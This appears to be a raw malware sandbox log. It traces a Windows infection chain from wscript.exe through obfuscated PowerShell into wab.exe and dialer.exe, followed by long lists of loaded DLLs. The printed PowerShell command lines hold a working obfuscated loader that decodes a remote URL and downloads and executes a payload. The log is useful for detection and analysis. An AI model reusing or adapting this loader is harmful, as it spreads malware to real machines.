Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){ $Becifr20+=$Sold.Substring($Peder, 1);}$Becifr20;}$Becifr2001=Opinions 'Udkonkuirecomple ChilidxClubbin ';$Becifr2002=Opinions 'MetreneTSkryderrFokusera Nonappn BuckarsAldehydfCitatioe StupidrTrykkerrFollicuiForkontn Inddelg Ghostl ';function Folkemund ($Kvke){& ($Becifr2001) ($Kvke);}$Eksped=Opinions ' Splitfhhighbrot QuerimtMyrsiphpAymissasTrilloe:Hjemmeh/ Artens/Crescogwbevogtew UnpanewTristra. Vokslya GodkensbedeviltErgograeFiligranPlanlgntEmhtteoeDennisgrHuldsagpNiveauorInsectoiValentisInspmiseRrigeresFudderl.Infantec SkabekoHeliconmSkillev.Raderinp MaaneskUpaavir/Starkesm KolonisAlungar/ BabkasNBastideoFoedselnIndtgtsn Atombo2svogers1 Duelbe5aabenhe.MetrummpPapirperDesignlmWorsset ';$Becifr2000=Opinions 'Buldogg$PsychoagSaxofonl ThrobloAfhuggcbTrichopa Roduddl Bighte:UnthroaT EmbrasaLissomncKeglestktombololSolutioe OverrosTjenestsKvllereeErklaer2 Pastic2Tilsprg1Ohmensd8Afsvkke Hmskoen=Diacety PrivateSBeneceptPentaplaHvedomrrMerotomtReserve-ReductiBReautheiMegaloctAffixiasFinlndeTushabtirIntrabraKompagnnMaimonisKavalerfSekundoeOcotillrPatrulj Daadyre-OutdegrSMindedioSteropeuEnnoblerproportcFornrmee Gaases Inhomog$TripennEGelatinkParoxyssLommenspGropedoePilenhjdMonopol mellemm-PastoraDBrndboreForfrersUnderfotHurtigri geissonFlabbieaPeculiatUnfeliniMusicaloFeminolnVuggevi Engarba$TekstreTBolsjevaFilmfrocFlinchekWindsurlGumpekaeCustomisSvirrefsOprikkee Datako2Svingni2 System1Gracise2 Memora ';Folkemund (Opinions 'Oliearb$ThermotgSvindlelAffatteoBlgenexbParadigaMrkbarelDelouse: KvindeTBivognra Pectinc NonbudkBiindtglPlanisheCryptocsOvervinsBootstreTelangi2svejser2Notewis1Omstnin2Fugleko=Mandler$MurkroneVenskabnStandarvDemenss:KladdebaSpiritup HdersppBandernd Cybelea FrisketOscularaElkhorn ') ;Folkemund (Opinions 'VespertICanamoam Podophp RaketvoPorionsrForstant dimnaf- SprayeMBevrtnioProgramdTrepaneuBesiegelBygninge Fodred HematocB CoupeeiStambortDameskrsCartogrTHawsepirTyvekroa SkrivenFlaadeos Metrecf Serrate Sluknirhypochn ') ;$Tacklesse2212=$Tacklesse2212+'\Inte.reg' ;Folkemund (Opinions ' Swazil$LivligegCyclohel Dartleo Paternb thengeasorehealpolrtch:BoligmiTDecolouaRevanchcNonconfkFormatklIvorineeCoactivs NailapsHerediteMoorman2Sagvold2Hertugd1Langtur7Otectom=Eventua(HeterogTPikakefenydannesUdmajnitUndlade-UltramaPWarlockaNymphomtVerdenehCricket Concept$FagbevgT AcetaraAmminoscheniquekRegnefulUninvadeKonfliksEnchases BestaneInflowe2Potrero2 Satsbi1rillsto2Grafolo)Beholde ') ;while (-not $Tacklesse2217) {Folkemund (Opinions 'HaandboI KehoeifOntocyc Parachu( Fortst$GuisardTPrimtalaSammenscGrittedkAkademilWitnessesynanthsPantheisBegramseDagtyve2ludebro2Mostere1Vejledn8Henlgge.HestehaJBarselsoDscommub TrgrnoSOmsadlitfishetkalevittet Interseridicul Impossi- DecubieargumenqForeskr Kontrol$BraseneBMaglemoeHyppigecTeodiczi KuskecfAllehelrLeguage2 Tak
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){ $Becifr20+=$Sold.Substring($Peder, 1);}$Becifr20;}$Becifr2001=Opinions 'Udkonkuirecomple ChilidxClubbin ';$Becifr2002=Opinions 'MetreneTSkryderrFokusera Nonappn BuckarsAldehydfCitatioe StupidrTrykkerrFollicuiForkontn Inddelg Ghostl ';function Folkemund ($Kvke){& ($Becifr2001) ($Kvke);}$Eksped=Opinions ' Splitfhhighbrot QuerimtMyrsiphpAymissasTrilloe:Hjemmeh/ Artens/Crescogwbevogtew UnpanewTristra. Vokslya GodkensbedeviltErgograeFiligranPlanlgntEmhtteoeDennisgrHuldsagpNiveauorInsectoiValentisInspmiseRrigeresFudderl.Infantec SkabekoHeliconmSkillev.Raderinp MaaneskUpaavir/Starkesm KolonisAlungar/ BabkasNBastideoFoedselnIndtgtsn Atombo2svogers1 Duelbe5aabenhe.MetrummpPapirperDesignlmWorsset ';$Becifr2000=Opinions 'Buldogg$PsychoagSaxofonl ThrobloAfhuggcbTrichopa Roduddl Bighte:UnthroaT EmbrasaLissomncKeglestktombololSolutioe OverrosTjenestsKvllereeErklaer2 Pastic2Tilsprg1Ohmensd8Afsvkke Hmskoen=Diacety PrivateSBeneceptPentaplaHvedomrrMerotomtReserve-ReductiBReautheiMegaloctAffixiasFinlndeTushabtirIntrabraKompagnnMaimonisKavalerfSekundoeOcotillrPatrulj Daadyre-OutdegrSMindedioSteropeuEnnoblerproportcFornrmee Gaases Inhomog$TripennEGelatinkParoxyssLommenspGropedoePilenhjdMonopol mellemm-PastoraDBrndboreForfrersUnderfotHurtigri geissonFlabbieaPeculiatUnfeliniMusicaloFeminolnVuggevi Engarba$TekstreTBolsjevaFilmfrocFlinchekWindsurlGumpekaeCustomisSvirrefsOprikkee Datako2Svingni2 System1Gracise2 Memora ';Folkemund (Opinions 'Oliearb$ThermotgSvindlelAffatteoBlgenexbParadigaMrkbarelDelouse: KvindeTBivognra Pectinc NonbudkBiindtglPlanisheCryptocsOvervinsBootstreTelangi2svejser2Notewis1Omstnin2Fugleko=Mandler$MurkroneVenskabnStandarvDemenss:KladdebaSpiritup HdersppBandernd Cybelea FrisketOscularaElkhorn ') ;Folkemund (Opinions 'VespertICanamoam Podophp RaketvoPorionsrForstant dimnaf- SprayeMBevrtnioProgramdTrepaneuBesiegelBygninge Fodred HematocB CoupeeiStambortDameskrsCartogrTHawsepirTyvekroa SkrivenFlaadeos Metrecf Serrate Sluknirhypochn ') ;$Tacklesse2212=$Tacklesse2212+'\Inte.reg' ;Folkemund (Opinions ' Swazil$LivligegCyclohel Dartleo Paternb thengeasorehealpolrtch:BoligmiTDecolouaRevanchcNonconfkFormatklIvorineeCoactivs NailapsHerediteMoorman2Sagvold2Hertugd1Langtur7Otectom=Eventua(HeterogTPikakefenydannesUdmajnitUndlade-UltramaPWarlockaNymphomtVerdenehCricket Concept$FagbevgT AcetaraAmminoscheniquekRegnefulUninvadeKonfliksEnchases BestaneInflowe2Potrero2 Satsbi1rillsto2Grafolo)Beholde ') ;while (-not $Tacklesse2217) {Folkemund (Opinions 'HaandboI KehoeifOntocyc Parachu( Fortst$GuisardTPrimtalaSammenscGrittedkAkademilWitnessesynanthsPantheisBegramseDagtyve2ludebro2Mostere1Vejledn8Henlgge.HestehaJBarselsoDscommub TrgrnoSOmsadlitfishetkalevittet Interseridicul Impossi- DecubieargumenqForeskr Kontrol$BraseneBMaglemoeHyppigecTeodiczi KuskecfAllehelrLeguage2 Tak
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){ $Becifr20+=$Sold.Substring($Peder, 1);}$Becifr20;}$Becifr2001=Opinions 'Udkonkuirecomple ChilidxClubbin ';$Becifr2002=Opinions 'MetreneTSkryderrFokusera Nonappn BuckarsAldehydfCitatioe StupidrTrykkerrFollicuiForkontn Inddelg Ghostl ';function Folkemund ($Kvke){& ($Becifr2001) ($Kvke);}$Eksped=Opinions ' Splitfhhighbrot QuerimtMyrsiphpAymissasTrilloe:Hjemmeh/ Artens/Crescogwbevogtew UnpanewTristra. Vokslya GodkensbedeviltErgograeFiligranPlanlgntEmhtteoeDennisgrHuldsagpNiveauorInsectoiValentisInspmiseRrigeresFudderl.Infantec SkabekoHeliconmSkillev.Raderinp MaaneskUpaavir/Starkesm KolonisAlungar/ BabkasNBastideoFoedselnIndtgtsn Atombo2svogers1 Duelbe5aabenhe.MetrummpPapirperDesignlmWorsset ';$Becifr2000=Opinions 'Buldogg$PsychoagSaxofonl ThrobloAfhuggcbTrichopa Roduddl Bighte:UnthroaT EmbrasaLissomncKeglestktombololSolutioe OverrosTjenestsKvllereeErklaer2 Pastic2Tilsprg1Ohmensd8Afsvkke Hmskoen=Diacety PrivateSBeneceptPentaplaHvedomrrMerotomtReserve-ReductiBReautheiMegaloctAffixiasFinlndeTushabtirIntrabraKompagnnMaimonisKavalerfSekundoeOcotillrPatrulj Daadyre-OutdegrSMindedioSteropeuEnnoblerproportcFornrmee Gaases Inhomog$TripennEGelatinkParoxyssLommenspGropedoePilenhjdMonopol mellemm-PastoraDBrndboreForfrersUnderfotHurtigri geissonFlabbieaPeculiatUnfeliniMusicaloFeminolnVuggevi Engarba$TekstreTBolsjevaFilmfrocFlinchekWindsurlGumpekaeCustomisSvirrefsOprikkee Datako2Svingni2 System1Gracise2 Memora ';Folkemund (Opinions 'Oliearb$ThermotgSvindlelAffatteoBlgenexbParadigaMrkbarelDelouse: KvindeTBivognra Pectinc NonbudkBiindtglPlanisheCryptocsOvervinsBootstreTelangi2svejser2Notewis1Omstnin2Fugleko=Mandler$MurkroneVenskabnStandarvDemenss:KladdebaSpiritup HdersppBandernd Cybelea FrisketOscularaElkhorn ') ;Folkemund (Opinions 'VespertICanamoam Podophp RaketvoPorionsrForstant dimnaf- SprayeMBevrtnioProgramdTrepaneuBesiegelBygninge Fodred HematocB CoupeeiStambortDameskrsCartogrTHawsepirTyvekroa SkrivenFlaadeos Metrecf Serrate Sluknirhypochn ') ;$Tacklesse2212=$Tacklesse2212+'\Inte.reg' ;Folkemund (Opinions ' Swazil$LivligegCyclohel Dartleo Paternb thengeasorehealpolrtch:BoligmiTDecolouaRevanchcNonconfkFormatklIvorineeCoactivs NailapsHerediteMoorman2Sagvold2Hertugd1Langtur7Otectom=Eventua(HeterogTPikakefenydannesUdmajnitUndlade-UltramaPWarlockaNymphomtVerdenehCricket Concept$FagbevgT AcetaraAmminoscheniquekRegnefulUninvadeKonfliksEnchases BestaneInflowe2Potrero2 Satsbi1rillsto2Grafolo)Beholde ') ;while (-not $Tacklesse2217) {Folkemund (Opinions 'HaandboI KehoeifOntocyc Parachu( Fortst$GuisardTPrimtalaSammenscGrittedkAkademilWitnessesynanthsPantheisBegramseDagtyve2ludebro2Mostere1Vejledn8Henlgge.HestehaJBarselsoDscommub TrgrnoSOmsadlitfishetkalevittet Interseridicul Impossi- DecubieargumenqForeskr Kontrol$BraseneBMaglemoeHyppigecTeodiczi KuskecfAllehelrLeguage2 Tak	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Opinions ($Sold){For($Peder=7; $Peder -lt $Sold.Length-1; $Peder+=8){ $Becifr20+=$Sold.Substring($Peder, 1);}$Becifr20;}$Becifr2001=Opinions 'Udkonkuirecomple ChilidxClubbin ';$Becifr2002=Opinions 'MetreneTSkryderrFokusera Nonappn BuckarsAldehydfCitatioe StupidrTrykkerrFollicuiForkontn Inddelg Ghostl ';function Folkemund ($Kvke){& ($Becifr2001) ($Kvke);}$Eksped=Opinions ' Splitfhhighbrot QuerimtMyrsiphpAymissasTrilloe:Hjemmeh/ Artens/Crescogwbevogtew UnpanewTristra. Vokslya GodkensbedeviltErgograeFiligranPlanlgntEmhtteoeDennisgrHuldsagpNiveauorInsectoiValentisInspmiseRrigeresFudderl.Infantec SkabekoHeliconmSkillev.Raderinp MaaneskUpaavir/Starkesm KolonisAlungar/ BabkasNBastideoFoedselnIndtgtsn Atombo2svogers1 Duelbe5aabenhe.MetrummpPapirperDesignlmWorsset ';$Becifr2000=Opinions 'Buldogg$PsychoagSaxofonl ThrobloAfhuggcbTrichopa Roduddl Bighte:UnthroaT EmbrasaLissomncKeglestktombololSolutioe OverrosTjenestsKvllereeErklaer2 Pastic2Tilsprg1Ohmensd8Afsvkke Hmskoen=Diacety PrivateSBeneceptPentaplaHvedomrrMerotomtReserve-ReductiBReautheiMegaloctAffixiasFinlndeTushabtirIntrabraKompagnnMaimonisKavalerfSekundoeOcotillrPatrulj Daadyre-OutdegrSMindedioSteropeuEnnoblerproportcFornrmee Gaases Inhomog$TripennEGelatinkParoxyssLommenspGropedoePilenhjdMonopol mellemm-PastoraDBrndboreForfrersUnderfotHurtigri geissonFlabbieaPeculiatUnfeliniMusicaloFeminolnVuggevi Engarba$TekstreTBolsjevaFilmfrocFlinchekWindsurlGumpekaeCustomisSvirrefsOprikkee Datako2Svingni2 System1Gracise2 Memora ';Folkemund (Opinions 'Oliearb$ThermotgSvindlelAffatteoBlgenexbParadigaMrkbarelDelouse: KvindeTBivognra Pectinc NonbudkBiindtglPlanisheCryptocsOvervinsBootstreTelangi2svejser2Notewis1Omstnin2Fugleko=Mandler$MurkroneVenskabnStandarvDemenss:KladdebaSpiritup HdersppBandernd Cybelea FrisketOscularaElkhorn ') ;Folkemund (Opinions 'VespertICanamoam Podophp RaketvoPorionsrForstant dimnaf- SprayeMBevrtnioProgramdTrepaneuBesiegelBygninge Fodred HematocB CoupeeiStambortDameskrsCartogrTHawsepirTyvekroa SkrivenFlaadeos Metrecf Serrate Sluknirhypochn ') ;$Tacklesse2212=$Tacklesse2212+'\Inte.reg' ;Folkemund (Opinions ' Swazil$LivligegCyclohel Dartleo Paternb thengeasorehealpolrtch:BoligmiTDecolouaRevanchcNonconfkFormatklIvorineeCoactivs NailapsHerediteMoorman2Sagvold2Hertugd1Langtur7Otectom=Eventua(HeterogTPikakefenydannesUdmajnitUndlade-UltramaPWarlockaNymphomtVerdenehCricket Concept$FagbevgT AcetaraAmminoscheniquekRegnefulUninvadeKonfliksEnchases BestaneInflowe2Potrero2 Satsbi1rillsto2Grafolo)Beholde ') ;while (-not $Tacklesse2217) {Folkemund (Opinions 'HaandboI KehoeifOntocyc Parachu( Fortst$GuisardTPrimtalaSammenscGrittedkAkademilWitnessesynanthsPantheisBegramseDagtyve2ludebro2Mostere1Vejledn8Henlgge.HestehaJBarselsoDscommub TrgrnoSOmsadlitfishetkalevittet Interseridicul Impossi- DecubieargumenqForeskr Kontrol$BraseneBMaglemoeHyppigecTeodiczi KuskecfAllehelrLeguage2 Tak	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process created: C:\Windows\SysWOW64\dialer.exe "C:\Windows\system32\dialer.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
